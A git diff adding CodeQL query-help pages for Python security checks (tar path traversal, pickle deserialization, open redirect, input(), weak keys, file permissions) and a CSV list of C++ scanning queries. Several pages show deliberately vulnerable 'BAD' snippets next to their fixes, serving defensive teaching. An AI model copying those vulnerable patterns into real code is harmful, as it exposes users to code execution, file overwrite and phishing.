file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a tar archive contains a file entry `..\sneaky-file`, and the tar archive is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from tar archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a tar archive entry is to check that `".."` does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.tar` contained relative paths (for instance, if it were created by something like `tar -cf archive.tar ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```python + +import tarfile + +with tarfile.open('archive.zip') as tar: + #BAD : This could write any file on the filesystem. + for entry in tar: + tar.extract(entry, "/tmp/unpack/") + +``` +To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. + + +```python + +import tarfile +import os.path + +with tarfile.open('archive.zip') as tar: + for entry in tar: + #GOOD: Check that entry is safe + if os.path.isabs(entry.name) or ".." in entry.name: + raise ValueError("Illegal tar archive entry") + tar.extract(entry, "/tmp/unpack/") + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Python Library Reference: [TarFile.extract](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extract). +* Python Library Reference: [TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UnsafeDeserialization.md b/docs/language/query-help/python/UnsafeDeserialization.md new file mode 100644 index 00000000000..fa1ef536279 --- /dev/null +++ b/docs/language/query-help/python/UnsafeDeserialization.md @@ -0,0 +1,59 @@ +# Deserializing untrusted input + +``` +ID: py/unsafe-deserialization +Kind: path-problem +Severity: error +Precision: high +Tags: external/cwe/cwe-502 security serialization + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. + +There are many different serialization frameworks. This query currently supports Pickle, Marshal and Yaml. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON. + + +## Example +The following example calls `pickle.loads` directly on a value provided by an incoming HTTP request. Pickle then creates a new value from untrusted data, and is therefore inherently unsafe. + + +```python + +from django.conf.urls import url +import pickle + +def unsafe(pickled): + return pickle.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', unsafe) +] +``` +Changing the code to use `json.loads` instead of `pickle.loads` removes the vulnerability. + + +```python + +from django.conf.urls import url +import json + +def safe(pickled): + return json.loads(pickled) + +urlpatterns = [ + url(r'^(?P.*)$', safe) +] + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/) +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UrlRedirect.md b/docs/language/query-help/python/UrlRedirect.md new file mode 100644 index 00000000000..46acb9427a6 --- /dev/null +++ b/docs/language/query-help/python/UrlRedirect.md @@ -0,0 +1,57 @@ +# URL redirection from remote source + +``` +ID: py/url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```python +from flask import Flask, request, redirect + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = request.args.get('target', '') + return redirect(target, code=302) + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```python +from flask import Flask, request, redirect + +VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html" + +app = Flask(__name__) + +@app.route('/') +def hello(): + target = request.args.get('target', '') + if target == VALID_REDIRECT: + return redirect(target, code=302) + else: + ... # Error + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UseofInput.md b/docs/language/query-help/python/UseofInput.md new file mode 100644 index 00000000000..aa92bf56fee --- /dev/null +++ b/docs/language/query-help/python/UseofInput.md @@ -0,0 +1,22 @@ +# 'input' function used in Python 2 + +``` +ID: py/use-of-input +Kind: problem +Severity: error +Precision: high +Tags: security correctness + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Expressions/UseofInput.ql) + +In Python 2, a call to the `input()` function, `input(prompt)` is equivalent to `eval(raw_input(prompt))`. Evaluating user input without any checking can be a serious security flaw. + + +## Recommendation +Get user input with `raw_input(prompt)` and then validate that input before evaluating. If the expected input is a number or string, then `ast.literal_eval()` can always be used safely. + + +## References +* Python Standard Library: [input](http://docs.python.org/2/library/functions.html#input), [ast.literal_eval](http://docs.python.org/2/library/ast.html#ast.literal_eval). +* Wikipedia: [Data validation](http://en.wikipedia.org/wiki/Data_validation). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakCrypto.md b/docs/language/query-help/python/WeakCrypto.md new file mode 100644 index 00000000000..27b8e1980cd --- /dev/null +++ b/docs/language/query-help/python/WeakCrypto.md @@ -0,0 +1,28 @@ +# Use of weak cryptographic key + +``` +ID: py/weak-crypto-key +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-326 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-326/WeakCrypto.ql) + +Modern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger. + +The three main asymmetric key algorithms currently in use are RivestShamirAdleman (RSA) cryptography, Digital Signature Algorithm (DSA), and Elliptic-curve cryptography (ECC). With current technology, key sizes of 2048 bits for RSA and DSA, or 224 bits for ECC, are regarded as unbreakable. + + +## Recommendation +Increase the key size to the recommended amount or larger. For RSA or DSA this is at least 2048 bits, for ECC this is at least 224 bits. + + +## References +* Wikipedia: [Digital Signature Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). +* Wikipedia: [RSA cryptosystem](https://en.wikipedia.org/wiki/RSA_(cryptosystem)). +* Wikipedia: [Elliptic-curve cryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography). +* Python cryptography module: [cryptography.io](https://cryptography.io/en/latest/). +* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakFilePermissions.md b/docs/language/query-help/python/WeakFilePermissions.md new file mode 100644 index 00000000000..268e558dbf0 --- /dev/null +++ b/docs/language/query-help/python/WeakFilePermissions.md @@ -0,0 +1,22 @@ +# Overly permissive file permissions + +``` +ID: py/overly-permissive-file +Kind: problem +Severity: warning +Precision: medium +Tags: external/cwe/cwe-732 security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-732/WeakFilePermissions.ql) + +When creating a file, POSIX systems allow permissions to be specified for owner, group and others separately. Permissions should be kept as strict as possible, preventing access to the files contents by other users. + + +## Recommendation +Restrict the file permissions of files to prevent any but the owner being able to read or write to that file + + +## References +* Wikipedia: [File system permissions](https://en.wikipedia.org/wiki/File_system_permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/query-list.rst b/docs/language/query-help/query-list.rst new file mode 100644 index 00000000000..df99c4002f9 --- /dev/null +++ b/docs/language/query-help/query-list.rst @@ -0,0 +1,7 @@ +Code scanning query lists +========================= + +.. csv-table:: + :class: fullWidthTable + :widths: auto + :file: query-lists/query-list.csv diff --git a/docs/language/query-help/query-lists/query-list.csv b/docs/language/query-help/query-lists/query-list.csv new file mode 100644 index 00000000000..63d5fd3e231 --- /dev/null +++ b/docs/language/query-help/query-lists/query-list.csv @@ -0,0 +1,196 @@ +Query filename,Suite,Query name,Query ID,Kind,Severity,Precision,Tags +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,code-scanning,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,code-scanning,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,code-scanning,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,code-scanning,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,code-scanning,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,code-scanning,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,code-scanning,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,code-scanning,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,code-scanning,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,code-scanning,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,code-scanning,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,code-scanning,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,code-scanning,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,code-scanning,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,code-scanning,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,code-scanning,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,code-scanning,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,code-scanning,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,code-scanning,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,code-scanning,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,code-scanning,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,code-scanning,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,code-scanning,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,code-scanning,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,code-scanning,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,code-scanning,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,code-scanning,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 +ql\cpp\ql\src\Best Practices\BlockWithTooManyStatements.ql,security-and-quality,Block with too many statements,cpp/complex-block,problem,recommendation,high,testability readability maintainability +ql\cpp\ql\src\Best Practices\ComplexCondition.ql,security-and-quality,Complex condition,cpp/complex-condition,problem,recommendation,high,testability readability maintainability statistical non-attributable +ql\cpp\ql\src\Best Practices\Exceptions\AccidentalRethrow.ql,security-and-quality,Accidental rethrow,cpp/rethrow-no-exception,problem,warning,high,reliability correctness exceptions +ql\cpp\ql\src\Best Practices\Exceptions\CatchingByValue.ql,security-and-quality,Catching by value,cpp/catch-by-value,problem,warning,very-high,efficiency correctness exceptions +ql\cpp\ql\src\Best Practices\Exceptions\LeakyCatch.ql,security-and-quality,Leaky catch,cpp/catch-missing-free,problem,warning,high,efficiency correctness exceptions external/cwe/cwe-401 +ql\cpp\ql\src\Best Practices\Exceptions\ThrowingPointers.ql,security-and-quality,Throwing pointers,cpp/throwing-pointer,problem,warning,high,efficiency correctness exceptions +ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesParameter.ql,security-and-quality,Declaration hides parameter,cpp/declaration-hides-parameter,problem,recommendation,very-high,maintainability readability +ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesVariable.ql,security-and-quality,Declaration hides variable,cpp/declaration-hides-variable,problem,recommendation,high,maintainability readability +ql\cpp\ql\src\Best Practices\Hiding\LocalVariableHidesGlobalVariable.ql,security-and-quality,Local variable hides global variable,cpp/local-variable-hides-global-variable,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Best Practices\Likely Errors\EmptyBlock.ql,security-and-quality,Empty branch of conditional,cpp/empty-block,problem,recommendation,very-high,reliability readability +ql\cpp\ql\src\Best Practices\Likely Errors\Slicing.ql,security-and-quality,Slicing,cpp/slicing,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Best Practices\RuleOfTwo.ql,security-and-quality,Inconsistent definition of copy constructor and assignment ('Rule of Two'),cpp/rule-of-two,problem,warning,high,reliability readability language-features +ql\cpp\ql\src\Best Practices\SloppyGlobal.ql,security-and-quality,Short global name,cpp/short-global-name,problem,recommendation,very-high,maintainability +ql\cpp\ql\src\Best Practices\SwitchLongCase.ql,security-and-quality,Long switch case,cpp/long-switch,problem,recommendation,high,maintainability readability +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedLocals.ql,security-and-quality,Unused local variable,cpp/unused-local-variable,problem,recommendation,high,maintainability useless-code external/cwe/cwe-563 +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticFunctions.ql,security-and-quality,Unused static function,cpp/unused-static-function,problem,recommendation,high,efficiency useless-code external/cwe/cwe-561 +ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticVariables.ql,security-and-quality,Unused static variable,cpp/unused-static-variable,problem,recommendation,high,efficiency useless-code external/cwe/cwe-563 +ql\cpp\ql\src\Best Practices\UseOfGoto.ql,security-and-quality,Use of goto,cpp/use-of-goto,problem,warning,high,maintainability readability language-features +ql\cpp\ql\src\Critical\DeadCodeGoto.ql,security-and-quality,Dead code due to goto or break statement,cpp/dead-code-goto,problem,warning,high,maintainability external/cwe/cwe-561 +ql\cpp\ql\src\Critical\LargeParameter.ql,security-and-quality,Large object passed by value,cpp/large-parameter,problem,recommendation,very-high,efficiency readability statistical non-attributable +ql\cpp\ql\src\Critical\NewArrayDeleteMismatch.ql,security-and-quality,'new[]' array freed with 'delete',cpp/new-array-delete-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Critical\NewDeleteArrayMismatch.ql,security-and-quality,'new' object freed with 'delete[]',cpp/new-delete-array-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-and-quality,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Documentation\CommentedOutCode.ql,security-and-quality,Commented-out code,cpp/commented-out-code,problem,recommendation,high,maintainability documentation +ql\cpp\ql\src\Documentation\FixmeComments.ql,security-and-quality,FIXME comment,cpp/fixme-comment,problem,recommendation,very-high,maintainability documentation external/cwe/cwe-546 +ql\cpp\ql\src\Header Cleanup\Cleanup-DuplicateIncludeGuard.ql,security-and-quality,Duplicate include guard,cpp/duplicate-include-guard,problem,error,high,reliability maintainability modularity +ql\cpp\ql\src\jsf\4.06 Pre-Processing Directives\AV Rule 32.ql,security-and-quality,Include header files only,cpp/include-non-header,problem,recommendation,high,maintainability modularity readability external/jsf +ql\cpp\ql\src\jsf\4.07 Header Files\AV Rule 35.ql,security-and-quality,Missing header guard,cpp/missing-header-guard,problem,warning,high,efficiency maintainability modularity external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 71.1.ql,security-and-quality,Virtual call from constructor or destructor,cpp/virtual-call-in-constructor,problem,warning,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 79.ql,security-and-quality,Resource not released in destructor,cpp/resource-not-released-in-destructor,problem,warning,high,efficiency readability external/cwe/cwe-404 external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 82.ql,security-and-quality,Overloaded assignment does not return 'this',cpp/assignment-does-not-return-this,problem,warning,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 88.ql,security-and-quality,Undisciplined multiple inheritance,cpp/undisciplined-multiple-inheritance,problem,recommendation,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 89.ql,security-and-quality,Inconsistent virtual inheritance,cpp/inconsistent-virtual-inheritance,problem,error,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 95.ql,security-and-quality,Redefined default parameter,cpp/redefined-default-parameter,problem,error,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 97.ql,security-and-quality,No raw arrays in interfaces,cpp/array-in-interface,problem,recommendation,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 107.ql,security-and-quality,Function declared in block,cpp/function-in-block,problem,recommendation,very-high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 114.ql,security-and-quality,Missing return statement,cpp/missing-return,problem,error,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.16 Initialization\AV Rule 145.ql,security-and-quality,Irregular enum initialization,cpp/irregular-enum-init,problem,recommendation,high,reliability readability language-features external/jsf +ql\cpp\ql\src\jsf\4.21 Operators\AV Rule 166.ql,security-and-quality,Sizeof with side effects,cpp/sizeof-side-effect,problem,recommendation,high,reliability correctness external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 196.ql,security-and-quality,No trivial switch statements,cpp/trivial-switch,problem,recommendation,high,maintainability readability external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 197.ql,security-and-quality,Avoid floats in for loops,cpp/loop-variable-float,problem,recommendation,high,correctness reliability external/jsf +ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 201.ql,security-and-quality,For loop variable changed in body,cpp/loop-variable-changed,problem,recommendation,high,reliability readability external/jsf +ql\cpp\ql\src\Likely Bugs\AmbiguouslySignedBitField.ql,security-and-quality,Ambiguously signed bit-field member,cpp/ambiguously-signed-bit-field,problem,warning,high,reliability readability language-features external/cwe/cwe-190 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-and-quality,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BitwiseSignCheck.ql,security-and-quality,Sign check of bitwise operation,cpp/bitwise-sign-check,problem,warning,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Arithmetic\ComparisonPrecedence.ql,security-and-quality,Unclear comparison precedence,cpp/comparison-precedence,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Likely Bugs\Arithmetic\FloatComparison.ql,security-and-quality,Equality test on floating-point values,cpp/equality-on-floats,problem,recommendation,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-and-quality,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessComparison.ql,security-and-quality,Comparison result is always the same,cpp/constant-comparison,problem,warning,high,maintainability readability +ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessSelfComparison.ql,security-and-quality,Self comparison,cpp/comparison-of-identical-expressions,problem,warning,high,readability maintainability +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-and-quality,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Arithmetic\UnsignedGEZero.ql,security-and-quality,Unsigned comparison to zero,cpp/unsigned-comparison-zero,problem,warning,very-high,maintainability readability +ql\cpp\ql\src\Likely Bugs\ContinueInFalseLoop.ql,security-and-quality,Continue statement that does not continue,cpp/continue-in-false-loop,problem,warning,high,correctness +ql\cpp\ql\src\Likely Bugs\Conversion\ArrayArgSizeMismatch.ql,security-and-quality,Array argument size mismatch,cpp/array-arg-size-mismatch,problem,warning,high,reliability +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-and-quality,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely Bugs\Conversion\ImplicitDowncastFromBitfield.ql,security-and-quality,Implicit downcast from bitfield,cpp/implicit-bitfield-downcast,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Conversion\LossyPointerCast.ql,security-and-quality,Lossy pointer cast,cpp/lossy-pointer-cast,problem,warning,high,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-and-quality,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-and-quality,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\TooManyFormatArguments.ql,security-and-quality,Too many arguments to formatting function,cpp/too-many-format-arguments,problem,recommendation,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-and-quality,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-and-quality,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Likely Typos\AssignWhereCompareMeant.ql,security-and-quality,Assignment where comparison was intended,cpp/assign-where-compare-meant,problem,error,high,reliability correctness external/cwe/cwe-481 +ql\cpp\ql\src\Likely Bugs\Likely Typos\CompareWhereAssignMeant.ql,security-and-quality,Comparison where assignment was intended,cpp/compare-where-assign-meant,problem,error,high,reliability correctness external/cwe/cwe-482 +ql\cpp\ql\src\Likely Bugs\Likely Typos\DubiousNullCheck.ql,security-and-quality,Dubious NULL check,cpp/dubious-null-check,problem,warning,very-high,reliability readability +ql\cpp\ql\src\Likely Bugs\Likely Typos\ExprHasNoEffect.ql,security-and-quality,Expression has no effect,cpp/useless-expression,problem,warning,high,maintainability correctness external/cwe/cwe-561 +ql\cpp\ql\src\Likely Bugs\Likely Typos\FutileConditional.ql,security-and-quality,Futile conditional,cpp/empty-if,problem,recommendation,high,reliability readability +ql\cpp\ql\src\Likely Bugs\Likely Typos\inconsistentLoopDirection.ql,security-and-quality,Inconsistent direction of for loop,cpp/inconsistent-loop-direction,problem,error,high,correctness external/cwe/cwe-835 external/microsoft/6293 +ql\cpp\ql\src\Likely Bugs\Likely Typos\ShortCircuitBitMask.ql,security-and-quality,Short-circuiting operator applied to flag,cpp/logical-operator-applied-to-flag,problem,warning,high,reliability correctness external/cwe/cwe-480 +ql\cpp\ql\src\Likely Bugs\Likely Typos\UsingStrcpyAsBoolean.ql,security-and-quality,Use of string copy function in a condition,cpp/string-copy-return-value-as-boolean,problem,error,high,external/microsoft/C6324 correctness +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-and-quality,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-and-quality,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnCstrOfLocalStdString.ql,security-and-quality,Return c_str of local std::string,cpp/return-c-str-of-std-string,problem,warning,high,reliability correctness +ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnStackAllocatedMemory.ql,security-and-quality,Returning stack-allocated memory,cpp/return-stack-allocated-memory,problem,warning,high,reliability external/cwe/cwe-825 +ql\cpp\ql\src\Likely Bugs\OO\IncorrectConstructorDelegation.ql,security-and-quality,Incorrect constructor delegation,cpp/constructor-delegation,problem,warning,high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\OO\NonVirtualDestructorInBaseClass.ql,security-and-quality,Non-virtual destructor in base class,cpp/virtual-destructor,problem,warning,high,reliability readability language-features +ql\cpp\ql\src\Likely Bugs\OO\ThrowInDestructor.ql,security-and-quality,Exception thrown in destructor,cpp/throw-in-destructor,problem,warning,very-high,reliability readability language-features +ql\cpp\ql\src\Likely Bugs\ReturnConstType.ql,security-and-quality,Constant return type,cpp/non-member-const-no-effect,problem,warning,very-high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\ReturnConstTypeMember.ql,security-and-quality,Constant return type on member,cpp/member-const-no-effect,problem,warning,very-high,maintainability readability language-features +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\ImplicitFunctionDeclaration.ql,security-and-quality,Implicit function declaration,cpp/implicit-function-declaration,problem,warning,high,correctness maintainability 